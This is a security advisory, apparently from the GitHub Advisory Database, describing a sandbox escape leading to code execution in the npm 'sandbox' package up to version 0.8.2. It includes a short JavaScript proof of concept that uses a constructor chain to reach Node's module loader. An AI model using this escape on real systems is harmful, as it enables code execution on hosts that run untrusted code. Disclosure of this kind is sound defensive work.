GHSA-fm4j-4xhm-xpwx
JSON

medium

Sandbox Breakout / Arbitrary Code Execution in sandbox

Severity
medium rating by GitHub
Published
Last changed

Description

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Affected

Product or packageVersionsReported by
sandbox (npm)from 0.0.0GitHub Advisory Database

References

Sources

SourceRecordLicence
GitHub Advisory DatabaseGHSA-fm4j-4xhm-xpwx changed 2026-02-03CC-BY-4.0